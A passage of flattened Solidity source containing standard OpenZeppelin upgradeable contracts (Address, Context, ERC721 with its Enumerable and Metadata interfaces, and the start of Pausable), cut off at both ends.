* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal onlyInitializing {
}
function __ERC721Enumerable_init_unchained() internal onlyInitializing {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
